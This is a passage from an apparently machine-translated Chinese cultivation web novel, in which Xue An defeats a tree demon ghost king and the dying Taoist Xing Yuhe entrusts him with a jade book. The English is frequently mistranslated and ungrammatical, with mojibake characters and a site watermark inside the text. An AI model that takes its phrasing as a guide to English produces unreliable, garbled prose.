    But because of the medicinal pill that Xing Yuhe swallowed, the medicinal properties were too bad, and it managed to hide it from the three of them, and succeeded in shaking up two moves without retreating.


    This also shakes Baili Shaoguang''s confidence, and finally prepares to leave.


    And the appearance of the tree demon ghost king made Baili Shaoguang see the light, so she begged the tree demon ghost king to help her get a chance.


    For this, she also paid a very high price.


    After all, spending ten days with this tree monster ghost king will not have any good memories.


    It was never expected, but with one move, Xing Yuhe revealed his true shape.


    How can this not make Baili Shaoguang feel upset and regret.


    The tree demon king laughed loudly when he heard the words, "Of course he is bracing, otherwise you think I am really willing to come over and compete with him?"


    When Xing Yuhe first came to Feng Devil Town, his strength had not faded.


    Although he is still far from the Tree Demon Ghost King, because of the restraint of Taoism, the Tree Demon Ghost King will let him go, and don''t want to conflict with him anymore.


    Until this time, his concubine actually died in Fengmo Town. No matter what Xing Yuhe said had nothing to do with him, the tree demon ghost king would not believe it.


    And his eyesight is much stronger than Baili Shaoguang At a glance, I can see that Xing Yuhe is only relying on secret methods to support him, so he can easily push the boat, not only kills the enemy, but also gains. Beauty goes back to play for a few days.


    These powerful ghost kings who can guard one side, as expected, none of them are fuel-efficient lamps!


    These thoughts flashed through the hearts of Zeng Jialiang and Jin Haoyang, and finally couldn''t help but sigh.


    at the same time.


    saw the tree demon ghost king Jiejie smiled strangely: "Xing Yuhe, this king will send you on the road now!"


    , I saw that the giant trees above the ground suddenly began to change forms, turning into monster warriors wearing wooden armor, and then rushed towards Xing Yuhe.


    At this time, Xing Yuhe''s momentum has fallen to the bottom, shaking like chaff, as if it can be blown by a gust of wind, only his eyes are still bright as before, and full of determination.


    Then he slowly raised his thin hands, and began to seal on his chest again.


    "Pro! Soldiers! Fighting! All! All! Array! Out! Before!"


    With the formation of each mudra, the vitality in Xing Yuhe''s eyes will fade.


    When the nine characters came out, Xing Yuhe''s eyes were already bleak, but between his palms, there was a ray of Dao Fa brilliance that people dare not look directly at.


    The tree demon ghost king couldn''t help flashing a trace of panic when he saw this, and he roared some angrily: "You don''t hesitate to burn the soul, Xing Yuhe, you **** crazy?"


    Xing Yuhe showed a relief smile at the corner of his mouth, and then whispered: "Yushu, run!"


    After talking, I saw Xing Yuhe rushing towards the demon torrent without turning his head.

 Chapter 1258： Your people, I killed it! And you, too...

    Xing Yushu wanted to yell, but the words reached his lips, but he swallowed back. The tears in his eyes were held back together.


    I saw him take a deep look at his grandfather''s back, as if he wanted this scene to deepen in his mind. Then he turned around without hesitation.


    Revenge!


    I must take revenge!


    This is the only thought in Xing Yushu''s mind at the moment.


    But how could the tree demon ghost king let him go so easily, only to see him chuckling a few times, "Why? Want to run? But this territory is my territory, where can you go? "


    As he said, he saw the tree demon ghost king raising his hand and pointing, Xing Yushu''s dashing figure instantly became stagnant.


    And in front of him, the trees suddenly skyrocketed, forming a large green barrier, blocking the way.


    Xing Yushu gritted his teeth and turned around to run in another direction, but his thoughts just started.


    On all sides of him, green barriers rose out of thin air, instantly forming a green cage, trapping it firmly.


    "No!" Xing Yuhe, who was fighting with the demon, yelled in despair. Under a distraction, a demon secretly lurked behind him, and then punched out.


    Xing Yuhe couldn''t dodge, like a kite with a broken line, he was blasted out a long way, and then he fell into the ground.


    At his height, if he fell down without hindrance, he would have to become muddy on the spot.


    Trapped in the cage, Xing Yu''s bibliography was about to split, and he shouted desperately: "Grandpa!"


    then turned his head and yelled at the tree demon King and Baili Shaoguang, "I will kill you!"


    The tree demon ghost king ignored his shouts at all.


    Because of Xing Yushu''s strength, he didn''t even have the qualification to give him a second look.


    The roar echoed across the fields, and all the residents in the Feng Devil Town looked desperate.


    Because of the current situation, even fools can see what''s going on.


    Old man Xing was defeated, he was defeated terribly, life and death unknown.


    Xing Yushu is trapped in a cage and can''t do anything.


    Then the only thing waiting for this sealed town is its destruction.


    was born in this turbulent time, the residents of Fengma Town are no strangers to this result.


    Because there are so many ancient towns hidden in the jungle, and every result is a word, death!


    Feng Devil Town was no exception, but since Xing''s grandparents came, they have given these residents a glimmer of hope.


    A glimmer of hope to live.


    can wait till today, this hope is also shattered.


    This kind of despair, like a quagmire, made the faces of all the residents numb, and they began to resign themselves.


    Although the children didn��t know much, they were infected by the aura of the adults, and they all bowed their heads and started crying with laughter.


    Only Xiao Rui, although she was also very scared, the last thought was that of Xue An.


    I don��t know what happened to Big Brother!


    In fact, as long as he doesn''t stay in this small town, he can live without death.


    I wonder if he is afraid?


    Xiao Rui thought in her heart, and couldn''t help but secretly turned her head to look at the position where Xue An just stood.


    But unexpectedly, there was no one there.


    Xiao Rui was taken aback, what''s the matter? Where is Big Brother?


    At this moment, Baili Shaoguang was overjoyed when he saw Xing Yuhe being blasted off, and then he could not wait to fly up, wanting to grab the opportunity.


    But her figure just moved, and suddenly she felt that someone pressed her on her shoulder, pressing her back to the ground, and a cold voice came, "Don''t move!"


    Baili Shaoguang was covered in hairs, and he launched a counterattack without hesitation, and asked coldly, "Who is it!"


    It is a pity that no one responded to her counterattack or questioning.


    At the same time.


    I saw Xing Yuhe who had fallen straight down from mid-air. The speed of the fall suddenly slowed down, and he finally floated in mid-air.


    And before the void, a figure slowly emerged.


    A young man dressed in white, with sword eyebrows and stars.


    Xiaorui in the underground gradually opened her mouth when she saw it, her eyes full of incredible color.


    Because the figure that appeared in the void is her elder brother.


    Xue An!


    At the same time, his appearance stunned everyone in the audience.


    Especially Xing Yushu, who was trapped in the cage, couldn''t believe his eyes.


    "you you����."


    You haven''t been able to say a complete sentence even after you have spent a long time.


    Xue An smiled at him, "Stop talking, just watch it quietly!"


    Xing Yushu stared blankly with shocked face.


    At this time, I saw Xue An slowly raising his eyes and smiling at the tree demon King in the distance.


    "If you enter the path of ghosts with the body of plants and trees, you can be considered a different way!"


    The tree demon ghost king stared at Xue An, his eyes flickering.


    Because he suddenly realized that he couldn''t see through this beautiful-looking girl-like teenager.


    Because he can''t feel any aura from Xue An, he usually looks like a mortal.


    But the question is, can any mortal stand in the void and talk to himself?


    The tree demon ghost king is in a state of uncertainty.


    Baili Shaoguang above the ground was taken aback for a moment, then pointed at Xue An, and said in shock and fear: "It was you just now?"


    Xue An nodded, "It''s me, what''s the matter?"


    Baili Shaoguang''s face turned gloomy, but Xuan even calmed down, and then sneered: "Good ability, I can actually appear by my side without knowing it!"


    Xue An shook his head and said lightly: "You are wrong. It''s not that I am good at it, but that you are too weak!"


    Baili Shaoguang instantly rounded his eyes.


    Since childhood, no one has ever dared to say that they are weak So she couldn''t help but roared: "Boy, you..."


    I didn''t finish the following words.


    Because when she was furious, Xue An gave her a cold look.


    Then Baili Shaoguang was silly on the spot, and then his whole body was shaking slightly.


    Because she has never seen such a terrible look.


    You must know that as a member of the ghost education, she has seen countless ghosts and monsters, but no matter how powerful and brutal it is, it is not as terrifying as Xue An''s eyes now.


    It was a kind of almost extreme peace, like a vast ocean.


    But under this calm surface, there is a fearsome Supreme Being.


    is like a **** overlooking the eternal ages. It makes people just want to worship, without the slightest heart of resistance.


    With a look, Baili was completely defeated and fell into a lot of illusions.


    Of course, outsiders don��t even know all this. People only saw Xue An lightly glancing at the Baili Guangguang, and then she stood there, shivering.


    Then Xue An slowly raised his eyes and looked at the tree demon ghost king with a smile but a smile, and said lightly: "Did you just ask who killed your concubine?"


    "Now I can tell you, I killed it!".


    As soon as he said a word, the tree monster ghost king''s complexion changed, and he gave a cold snort, just about to speak.


    Xue An smiled and waved his hand, "Don''t be so excited! Because I told you this just to make you understand a little bit later! How about it? Are you very happy?"

 Chapter 1259： Finishing the finishing touch, 1 dragon chanting and 9 heavens...

    Boom!


    These remarks were like stabbing a hornet''s nest, which caused an uproar in the audience.


    Until this time, the residents of this small town did not wake up like a dream, and then looked at Xue An, who was facing the tree demon ghost king alone in the air, and there was a commotion.


    "My God, isn''t this Mr. Xue Xiao? Why did he suddenly run into the sky?" An old man said in surprise.


    "Yes! This Mr. Xue is too courageous?" Someone said in shock.


    "What can I do? This Mr. Xue is too reckless!" Someone said regretfully.


    Unlike the clamoring crowd, Xiao Rui and the many children all looked at Xue An in the sky with admiration.


    Especially Xiao Rui, she saw her fists clenched tightly, her eyes filled with hope.


    She firmly believes that her elder brother will be able to destroy these bad guys.


    Because in her opinion, there is nothing in the world that can stump the big brother.


    And even more shocked was Xing Yushu who was trapped in the cage. He looked at Xue An blankly, and his ear seemed to echo the words he just said to the tree demon ghost king.


    What...what do you mean?


    It is difficult to say that he intends to destroy the tree demon ghost king with his own power?


    As soon as this idea came up, Xing Yushu himself felt absurd.


    Because this is really incredible.


    As expected.


    Seeing that the Tree Demon Ghost King was also stunned for a moment, Jie Jie laughed strangely.


    "Very good! Very good! Very good!"


    The tree demon ghost king said three good times, and then stared at Xue An with the eyes of choosing people.


    "Since you dare to admit that you killed it, it''s easy to do! As for you to make my death clearer, do I have to thank you?"


    Xue An smiled and shook his head, "No need, because I am generally not polite to dead people!"


    A touch of coldness appeared in the eyes of the tree monster ghost king.


    He is not a fool!


    On the contrary, he can become a powerful man in charge in this land of four kills, his mind is much clearer than ordinary people.


    This Xue An reveals weirdness everywhere, without the slightest momentum fluctuation, but it gives people a feeling of Yuanzhu Yuezhi, which shows that he is by no means ordinary.


    In addition, his concubine was also a real immortal-level powerhouse anyway, and actually died in his hands, which even more shows that this person''s strength should be very good.


    So the tree demon ghost king does not underestimate the enemy at all.


    "Boy, these words happen to represent my opinion! Give it to me, die!"


    This tree demon ghost king does not make a move, and when he makes a move, it is a Xeon killer move.


    But within a thousand miles, all the jungles withered instantly.


    "Thousands of trees transform into demons and purify the world!" Following the roar of the tree demon ghost king.


    But I saw countless black lights crazily flooding in front of the tree demon ghost king, and after a tremor, he instantly transformed into a soldier in black armor.


    The number is so large that it even obscures the entire sky.


    This kind of power is enough to change the world.


    The faces of the residents of Feng Devil Town were earth-colored, and they couldn''t even speak. Some timid people just fell to the ground and couldn''t stand up at all.


    The Tree Demon Ghost King laughed loudly, "Kill them all for me!"


    said, he raised his hand and pointed, but when he saw countless black light soldiers turning into black tide, he directly rushed over.


    Seeing this scene, Xing Yushu in the cage closed his eyes in despair.


    Now he naturally understands that Xue An is definitely not an ordinary person.


    But what if he is better?


    Facing the sky full of ghost soldiers, even the sword immortal had to say nothing.


    So he could only close his eyes, and couldn''t bear to watch the moment when the town of Demon Sealing that had carried most of his youth time collapsed.


    But at this moment, but seeing Xue An standing in the air, watching the endless ghost soldiers rushing in, he suddenly smiled, then turned his head and shouted at the town: "Xiao Rui, help me. busy!"


    The voice was cold, but it reached everyone''s ears.


    Everyone was taken aback, wondering what Xue An was going to do?


    Xiao Rui was even more surprised, and then stood up a little shyly, "Big brother, what''s wrong?"


    Xue An smiled, and then faintly said: "Didn''t I teach you how to draw before? Now you can help me draw something!"


    "What to draw?" Xiao Rui asked in astonishment.


    At this moment, when Xue An raised his hand and pointed a finger, a ray of sword light flew into Xiao Rui''s head and took it directly into the air before the city gate.


    Then Xue An said lightly: "I said before that the dragon on the city gate can''t be the finishing touch, otherwise it will fly away. If you don''t believe it, then I will let you see what is the finishing touch!"


    After that, Xue An threw a pen over and then smiled at Xiao Rui, "Xiao Rui, draw the eyes of the dragon!"


    Xiaorui was trembling all over. She did learn to paint from Xue An, but that was just because of the child''s playful nature, and she never thought that there would be such a thing as today.


    You must know that your mother, and even all the residents of the small town, are watching below.


    In the distance, there are countless ghost soldiers approaching.


    Such a situation naturally made this little girl who was only a teenager shiver and could hardly speak.


    "Big...Big brother, I..."


    Xue An smiled at her slightly, "Draw it, use your imagination, believe in yourself, you can do it!"


    Somehow, after seeing Xue An��s smile, Xiao Rui suddenly became less panicked, and then took a deep breath, nodded solemnly at Xue An, turned her head, and started to paint with a pen.


    She only studied painting with Xue An for a long time. Naturally, her level is horrible and her speed is very slow.


    In the distance, there is a surge of ghost soldiers.


    This situation makes the atmosphere in the audience extremely depressing.


    Xing Yushu also opened his eyes and stared blankly, but his eyes were full of sadness.


    Because he felt that this is simply impossible.


    Even if this dragon is really like Xue An said, it can survive.


    What kind of power can a child''s graffiti eyes have?


    Not only does he think so ~ www.novelhall.com ~ almost everyone in the audience thinks so.


    But Xue An looked at it with a smile, not in a hurry.


    One breath, two breaths.......


    Seeing the ghost soldiers getting closer and closer, even standing in the small town, you can clearly see the ghost fire burning in the eyes of these ghost soldiers.


    But Xiao Rui''s eyes are still not finished.


    Feeling the extremely depressed air around her, she couldn''t help but start to get nervous, "Big brother..."


    Xue An smiled and said softly: "Don''t be afraid, continue painting!"


    Xiao Rui took a deep breath, and instantly put aside all thoughts, her small face was full of solemnity, and then raised her hand to make the last stroke.


    I have to say that Xiaorui''s eyes are ugly.


    But just after this last sum was made up, the dragon suddenly seemed to have a look, and suddenly there were brilliance in his eyes.


    Xiaorui covered her mouth, looking silly.


    In fact, it''s not just her, almost everyone looks stupid.


    Because at this moment, the heaven and the earth suddenly began to tremble, and a powerful air machine began to emerge.


    Then I saw the giant dragon above the city gate, and the scales began to manifest one by one, followed by that huge body, giant claws, tail...


    After the huge head finally protruded from the city gate, only a dragon chant resounded through the wild. .


    Where the sound wave passed, these ghost soldiers who had rushed to the front couldn''t even struggle, so they burst together and turned into nothingness.


    This is, a dragon screams!

 Chapter 1260： One fist shocked the world, the sky was all gray

    "This...how is this possible?" Xing Yushu''s eyes opened wide, and he murmured almost moaning.


    It''s not just him at this moment.


    Everyone in the audience is already silly.


    Xiao Rui stared blankly, her brain was blank.


    This...Is this the dragon whose eyes I just painted?


    At the same time, I saw this giant dragon rising into the air, spreading its huge body in the air, and surrounding the ghost soldiers that covered the sky and sun was a strangulation.


    Boom!


    only heard a loud noise.


    The ghost soldiers who were still aggressive just now are all turned into nothingness.


    In an instant, Qingming was restored between heaven and earth.


    Such a mighty power is enough to make people afraid.


    At least the tree demon ghost king shuddered, and then screamed.


    "who are you?"


    Xue An smiled slightly, "I just remembered asking this question now, don��t you think it��s too late?"


    "You..." The tree demon ghost king''s expression changed.


    "You are not qualified to know who I am!" Xue An said lightly, raising his hand.


    "Destroy him!"


    Fingertips are the direction the dragon is heading.


    I saw the dragon uttered another dragon chant, then danced its body and rushed towards it.


    Wherever ���� has passed, the wind gusts and the power is amazing.


    The tree demon king was frightened and angry.


    I was shocked to see how sacred this white-clothed young man was, he actually had such a heaven-defying method.


    What is angry is his contempt for himself in his words.


    You must know that as the ghost king in charge, no one has ever dared to talk to him like this.


    "Making mystery, today this king will let you understand what is power!"


    The Tree Demon Ghost King roared, and then I saw in the void around him, countless vines suddenly stretched out, continuously flowing into the Tree Demon Ghost King''s body.


    And the tree demon ghost king''s body also began to soar.


    Almost in the blink of an eye, he turned into a wooden giant with a height of hundreds of feet.


    "Huh!" The tree demon ghost king let out a sigh, and the air flow caused a gust of wind between the sky and the earth.


    At the same time, the dragon has rushed to the front.


    The Tree Demon Ghost King gave a strange laugh, raised his extremely sturdy arm, and punched the dragon.


    boom!


    After a loud noise.


    But seeing that this dragon was suppressed by a huge fist of one party, it could no longer be stored.


    ��!


    Everyone in the audience held their breath involuntarily, waiting for the next result.


    Click!


    With an imperceptible, crisp sound, a crack appeared on the top of the dragon''s head, and then quickly spread.


    It was no more than a breathing scene, the body of this giant dragon was covered with dense cracks, and then let out a mournful cry, Peng''s blast burst, turned into pure spiritual power, and disappeared.


    Along with this giant dragon, there was a glimmer of hope that had just risen in the hearts of all the residents of the town.


    At the same time, hearing only a burst of laughter, the tree monster ghost king began to laugh proudly.


    "I thought it was so great! If you can really summon a real dragon to come to the world, then I will naturally be willing to bow down, but a fake dragon condensed with spiritual power, like a blindfold, dare to be arrogant in front of me?"


    As the tree demon ghost king said, a huge rock in his heart also fell to the ground.


    He was really horrified just now, but now it seems that although this dragon has a shape and spirit, it is nothing more than a fake dragon condensed by a secret technique.


    may be very powerful for other people, so it can also wipe out those ghost soldiers, but for someone like the tree demon ghost king, it is not enough.


    Hearing the scream of the tree demon ghost king, everyone''s complexion turned pale, and their eyes were full of despair.


    Xing Yushu stubbornly held the vines that formed the cage, the blood dripping from his hand had been pierced without even noticing it. He just looked at Xue An with fluttering clothes in the distance, his heart gradually sinking into the abyss.


    As expected...... Still not working?


    Xing Yushu suddenly had an urge to cry.


    Despair is not terrible, but terrible is that it gives you hope, and then deprives you of it.


    On the ground, Zeng Jialiang and Jin Haoyang let out a sigh of relief, and then glanced at each other, and both saw the relaxed color on each other''s faces.


    Despite the many twists and turns, fortunately, the result is the same.


    Only a hundred miles away, still caught in the eyes of Xue An just now, shaking like chaff, unable to extricate himself.


    "Boy, your method is good. If it wasn''t because you were too arrogant and killed my favorite concubine, I could even let you go! Unfortunately, now I can only send you on the road!" Wang pretended to be sorry, and then he couldn''t help laughing strangely.


    "Before you die, what else do you want to say?"


    Under the questioning, countless people cast their eyes on Xue An who was standing in the void.


    Xiao Rui''s heart was even more tightly clenched, staring at Xue An''s back blankly, thinking silently in her heart.


    Big brother...Can you save yourself this time? I guess...it''s difficult!


    Thinking of this, Xiao Rui''s eyes gradually filled with tears.


    But at this moment, I only heard the sound of a chuckle spreading all over.


    "Is it possible to use the ontology to transfer power to counter this attack? It''s a bit beyond my expectation! Forget it, if that''s the case, then just deal with you a little more seriously!"


    The sound is not loud, but it is no less than a lightning strike in everyone''s ears.


    The tree demon ghost king was even more startled, and then he couldn''t help but laughed out, "A little serious? What are you talking about? Could it be that you were scared stupid! Hahahaha the tree demon ghost king is big again Laughing, while laughing, the huge arm fell down.


    "Big brother, be careful!" Xiao Rui exclaimed and couldn''t help reminding.


    But I didn''t expect Xue An to turn his head and smile at her at this moment, "Thank you!"


    After speaking, I saw Xue An raising his fist, striding, and blasting out!


    This punch is so ordinary, not even the slightest momentum.


    At first glance, it looks like a child playing.


    is such an understatement, but when it touched the huge arm that the tree demon ghost king blasted, it shook a huge shock wave like a mushroom cloud.


    The world was silent at this moment, and only Xue An and the tree demon ghost king were left in the confrontation.


    in silence.


    Tree Demon Ghost King''s eyes gradually widened, looking at Xue An in disbelief, an extremely dense color of horror gradually appeared in his eyes, and then his lips trembled, as if he was planning to say something.


    But there is no chance.


    Because at this moment, in the midst of a rumbling noise, starting from the arm of the tree demon ghost king, his body began to burst one after another.


    In an instant, I saw the tree demon ghost king roar in horror, and then it exploded directly in the air.


    With the sawdust splashing, Xue Anmo stood still, then shook his head, "Not enough!"


    said, Xue An raised his fist again and blasted out.


    As far as the fist was, the entire stretch of jungle trembled, and then burst open.

 Chapter 1261： Its a pity, still not beaten!

    There was deathly silence.


    Everyone stared in amazement.


    Because at this moment, the jungle that once covered the entire land has disappeared, revealing the dark and damp land below.


    dead... dead?


    Just as this thought was circling in everyone''s mind, only a terrible cry came from far away.


    Then people saw a wonderful scene.


    But seeing in the distant sky, a red light hits the sky, and there is a continuous sound of explosions.


    "Spare... life!"


    A horrible cry for mercy spanned thousands of miles and reached everyone''s ears.


    Xing Yushu''s teeth trembled, and his whole body trembled.


    Because he heard this voice.


    Tree Demon King!


    He is begging for mercy!


    Then, that red light.......


    Many people suddenly understood something.


    Xue An, who was standing in the void, only smiled when he saw it, then slowly retracted his fist, and said lightly: "I thought you could hold my two punches, but it''s a pity... still not beaten!"


    Because under Xue An��s punch, not only the jungle covering the entire land was shattered, but even the giant tree towering into the clouds in the middle of the territory began to collapse.


    And this giant tree is the body of the tree demon ghost king.


    As an existence that enters the path of ghosts with the body of vegetation, this tree demon ghost king can be said to be immortal in theory!


    Because after thousands of years of operation, his roots have covered the entire continent.


    Those jungles that grew out of it were actually bred from his roots.


    It can be said that this seemingly vast sea of ??forests was actually bred by his tree.


    Under this almost terrifying vitality blessing, the strength of the tree demon ghost king may not be as strong as those powerful ghost kings.


    But he has an almost immortal body.


    As long as you can''t hurt his roots, you can''t get rid of him completely.


    This is also the reason why this tree demon ghost king is so confident and daring to run wild.


    Actually, after being shattered by Xue An''s first punch.


    The tree demon ghost king turned back to the body almost instantly.


    At that time, he was very fortunate, and even full of hatred for Xue An, ready to choose the opportunity to trouble Xue An later.


    But this idea just came up when Xue An��s second punch had already arrived.


    The breeding jungle was destroyed. Although the tree monster ghost king was seriously injured, it did not hurt the root cause.


    After the punch was overwhelming, the Dryad Ghost King finally found out in horror that he could not resist the power of this punch at all.


    The trunk, which is as solid as a soldier, is not much stronger than tofu under this force, and it begins to crumble almost instantly.


    The extremely thick branches swayed crazily, and then fell down.


    The severe pain of the destruction of the main body made the tree monster ghost king finally feel the fear of death.


    But he just yelled for mercy, and the extremely thick trunk cracked to pieces, and then fell to the ground like a mansion.


    In an instant, he was seriously injured, and under the damage of the soul, he burst into red light, and even reflected the sky.


    All of this, although everyone in front of Feng Devil Town hadn''t seen it with their own eyes, the turbulent qi machine of heaven and earth told them what was happening.


    Zeng Jialiang and Jin Haorang, who had thought that everything was over, were so scared that their faces were pale, shaking like chaff.


    What is the existence of the tree demon king?


    That is a strong man who even Jing Guo dare not easily provoke!


    But the boy in white was punched to pieces?


    How can this not make these two people feel alarmed.


    On the contrary, Baili Shaoguang, who was shocked just now, gradually regained consciousness.


    At this moment, I saw in front of Xue An, an extremely thin phantom began to emerge, and then knelt in the void and kowtowed at Xue An frantically.


    Everyone was silent when they saw this.


    The person who kneels down is naturally the tree demon ghost king who has just shown his might.


    It''s just that he is extremely miserable now, not only has no power and power, but even this strand of spirit is getting thinner.


    Xue quietly looked at the phantom kneeling at his feet and smiled faintly.


    "Before you die, what else do you want to say?"


    The tree demon ghost king''s virtual image fluctuated, and then he screamed in a faint voice: "My lord forgive me, I don''t know the majesty of my lord, how offensive I am. Please forgive me. I only ask you to forgive me!"


    Xue An smiled and shook his head, "It''s really not creative, I thought you wanted to say something! As for spare your life..."


    Xue An''s smile gradually became cold, "Do you think it is possible?"


    The tree demon ghost king shook his whole body, the virtual image shook, and almost disappeared.


    "My lord, I would like to take refuge in you, I have countless treasures, all of which can be dedicated to you, I..."


    Xue An was too lazy to listen any more, only to see him take a deep breath, then exhaled suddenly.


    Hoo!


    A violent wind hit.


    The tree demon ghost king screamed, and the extremely fragile spirit was blown away and disappeared between heaven and earth.


    At the same time, everyone felt that an existence that had been above this land suddenly collapsed.


    In an instant, even breathing became much smoother.


    But Xue An didn''t stop there. He looked down on the earth and said lightly: "The roots of the tree are hidden underground. Do you think I can''t see it?"


    As he said, Xue An landed straight like a cannonball.


    Boom!


    The earth quaked.


    Then centering on Xue An��s feet, cracks suddenly appeared, spreading wildly in a radial patternIn an instant, the whole land fell apart.


    All the roots of the trees hidden under the thick soil were directly shaken by the force of this foot, completely cutting off all the vitality of the tree demon ghost king.


    People are all dumbfounded, staring blankly.


    At this moment, Xing Yuhe''s body slowly fell to the ground, and the cage that originally restrained Xing Yushu was also broken.


    After he regained his freedom, he immediately urged his figure to come to Xing Yuhe, who still didn''t know his life or death.


    "Grandpa!" Xing Yushu''s tears couldn''t stop falling, and then suddenly remembered something, he raised his head and looked at Xue An with infinite hope.


    "Xue...sir, please help my grandpa! I was wrong before, I apologize to you!"


    Talking, Xing Yushu knelt on the ground with a plop.


    Xue An glanced at the Xing Yushu with pity, "Your grandfather is cut off from vitality, and no one can save him. Now he is only supported by a belief!"


    Xing Yushu heard this, and the whole person froze in place.


    Xue An shook his head, raised his hand and pointed, a brilliance flew into Xing Yuhe''s eyebrows.


    after a moment.


    Xing Yuhe snorted and slowly opened his eyes.


    But at this moment, his eyes are so dim that they can even be described as empty. .


    After a while, when he saw Xue An standing in front of him, there was a ray of light in his eyes, and then he said in a very respectful soft voice, as if he had more understanding.


    "I have seen seniors!"

 Chapter 1262： Descendants of Taoist Dongtian Jade Ding

    "No need!" Xue An said indifferently.


    In fact, if Xue An hadn''t deliberately separated a ray of spiritual thoughts to protect Xing Yuhe during the war, he had already lost his soul, and there was no chance to wake up and talk.


    Because of this, even though this Xing Yuhe is in a semi-conscious state where he cannot see or speak, he can clearly perceive everything around him.


    So Xing Yuhe knows everything that just happened.


    When he saw Xue An let a little girl put the finishing touches on, and the result was really a giant dragon, he was almost frightened.


    You must know that when Xue An painted on the city gate before, he also saw it with his own eyes.


    At that time, Xing Yushu asked him if there is really a secret technique that can make painting come alive.


    Xing Yuhe, of course, shook his head in denial.


    Unexpectedly, he was beaten mercilessly by the facts.


    But Xing Yuhe was not at all depressed, but rather excited.


    Because of being a heir of Taoism, he can of course see the aura contained in this giant dragon.


    That is a brilliant Taoist atmosphere, far better than oneself.


    He knew at the time that this Xue An was definitely an expert with advanced Taoism, but he was sighed that he didn''t know Taishan before!


    So when he woke up, the first sentence was to honor Xue An as his senior.


    After all, the master is the teacher!


    Xue An��s strength lies there, and it is right for him to call Senior.


    Xue An was noncommittal about this, and just said indifferently: "What can I say as soon as possible, your soul has been completely exhausted, I just use mystery to maintain it for you, and when the time is up, you will be gone!"


    Although Xue An can make Xing Yuhe wake up, that''s all.


    Because this Xing Yuhe was poisoned first, he had exhausted all his energy in a long time, and he fought one after another, and forcibly overdrawn the power of the soul.


    To tell the truth, if it weren''t for Xue An''s mind, he wouldn''t even be able to survive this time.


    But after hearing this, Xing Yushu couldn''t help but groaned and nearly fainted to the ground.


    On the contrary, Xing Yuhe was very calm. He raised his eyebrows and said softly: "Yushu, how did I tell you before?"


    Xing Yushu gradually stopped the grief, but he lowered his head and sobbed silently.


    Xing Yuhe��s eyes were also a little sour, but he took a deep breath and turned his head to look at Xue An respectfully.


    "Senior, the finishing touch that you used before is the magical technique?"


    Xue An nodded, "Yes!"


    Speaking of this, Xue settled for a while, and then sighed: "Unfortunately, the strength has not been fully recovered, otherwise, I will just grab a real dragon and it will save me trouble!"


    Xue An��s words are full of regret.


    Xing Yuhe fell into a daze, and the real dragon... even grabbed the article directly.


    But soon, he regained consciousness, and then his attitude became more respectful.


    "I can see the Dao skills of the predecessors, and I will die without regret!"


    Speaking of this, Xing Yuhe got up with difficulty and knelt at Xue An swayingly.


    Xue An raised his eyebrows slightly, but did not dodge, "What?"


    Xing Yuhe took a deep breath, "Senior, I am dead soon, but before I die, I want to ask Senior for something!"


    "Let''s talk!" Xue An said lightly.


    "Senior, it''s true that I am a disciple of Yuding Pavilion in one of the seven caves of Taoism!"


    Xue An was noncommittal and listened quietly.


    Xing Yuhe obviously felt the urgency of time, and the speed of speaking also accelerated a lot.


    "A hundred years ago, due to my aptitude, I stopped as an outer disciple, and finally returned to my hometown, Jingguo. At the beginning, I was in peace. I also wanted to make a career and keep my party safe! I didn''t expect this. Jing Guo was in a state of faintness, just ten years ago, because he wanted to live long, he collectively took refuge in ghost teaching!"


    "My Xing family has been protecting Jingguo''s law for generations, and ghost teachings are deadly opponents of righteous and evil. Naturally they refused to agree. As a result..."


    Xing Yuhe''s words trembled a little, "As a result, all the powers of this Jingguo attacked my Xing family, making my Xing family almost dead, but I fleeing with the jade book, but I was also seriously injured!"


    "Next, I will hide in this small town of demon seals and steal my life. I just want to wait for Yushu to become an adult, take him back to the teacher''s school, inherit my fate, and restore my Xing family! In that case, I will die. Also squinted!"


    "Looking at the current situation, I can''t accomplish these things naturally! So..."


    At this time, Xing Yuhe''s voice had begun to vacillate, and his face was almost transparent, but he still looked at Xue An very firmly.


    "I have an unsympathetic request. I hope that the predecessor can send the jade book back to my teacher and inherit the fate I left behind! If the predecessor can agree, Yu He will be grateful!


    Talking, Xing Yuhe crowed hard to the ground.


    Xing Yushu was already crying and became a tearful person, and followed his grandfather to kneel to the ground.


    Xue quietly looked at the old man who had run out of oil, and after a while, a sigh appeared on his face, and then nodded.


    "Okay! I promise you!"


    Hearing this, Xing Yuhe was shocked and wept with joy, "Thank you, senior!"


    After that, I kept kowtow.


    Xue An waved his hand, "No need!"


    Actually even if Xing Yuhe doesn''t say Xue An is also going to visit his teacher.


    After all, what Xing Yuhe is practicing is orthodox Chinese Taoism.


    Then his teacher obviously has a connection with the Chinese.


    Xue An naturally wanted to find out these things.


    At this time, cracks gradually appeared on Xing Yuhe''s arm, and fragments began to fall.


    "Grandpa!" Xing Yushu exclaimed.


    Xing Yuhe looked like he had put down his heavy load, and raised his head, but at this time, his eyes had turned into nothingness, leaving only two black holes in his eyes.


    Despite this, he still said in an extremely weak voice: "Yu Shu, help me aim northwest!"


    Xing Yushu choked up and helped Xing Yuhe to the northwest.


    Then I saw Xing Yuhe respectfully bowing to the northwest three times, and then whispered: "Not the disciple Xing Yuhe, bow here! This disciple has never insulted the glory of the teacher! I...no regrets!"


    When the last word was finished, a smile of relief appeared on Xing Yuhe''s face, and then his whole body was shattered, turned into powder, and went with the wind.


    "Grandpa, go all the way!" Xing Yushu repeatedly knocked his head, sobbing.


    At the same time, I saw all the residents of Feng Devil Town kneeling to the ground.


    "Master Xing, go all the way!".


    Xing Yuhe had protected the small town for ten years. Now that he is gone, the people in the small town naturally want to give him the last ride.


    Amidst the sky-shaking cry, hanging beside the city gate, the soul-slashing lamp, which was originally red as blood, faded into...snow white!

 Chapter 1263： Taoist real person

    Xue looked at the two white soul-slashing lamps quietly, and didn''t look back until after a while.


    He respects Xing Yuhe.


    After all, no matter what time, people who can uphold the beliefs in their hearts and persist to the end are worthy of respect.


    What''s more, he has blessed this town for more than ten years, and has never bowed his head to a demon whose influence is far superior to him. From this point of view, he is qualified to be honored as a real person.


    Of course, this real person is not the real person in the realm of cultivation, but the respected name of the Taoist person with firm heart and profound Taoism.


    Thinking of this, Xue An couldn''t help becoming more and more interested in Xing Yuhe''s teacher.


    Taoist Qidongtian, Yuding Pavilion.......


    sounds very interesting!


    Xue An thought in his heart.


    But Xing Yushu and others knelt on the ground and cried to death.


    In this chaotic situation, Zeng Jialiang, Jin Haorang, and Baili Shaoguang, who had just recovered their sobriety and still pale, looked at each other, and then unanimously began to move, cautiously walking away. .


    The whole process was very slow, and there was no sound.


    For the three of them, as long as they can get out of a certain range, then they have the confidence to escape.


    But when they had just moved a few hundred steps away, they could get close to their goal.


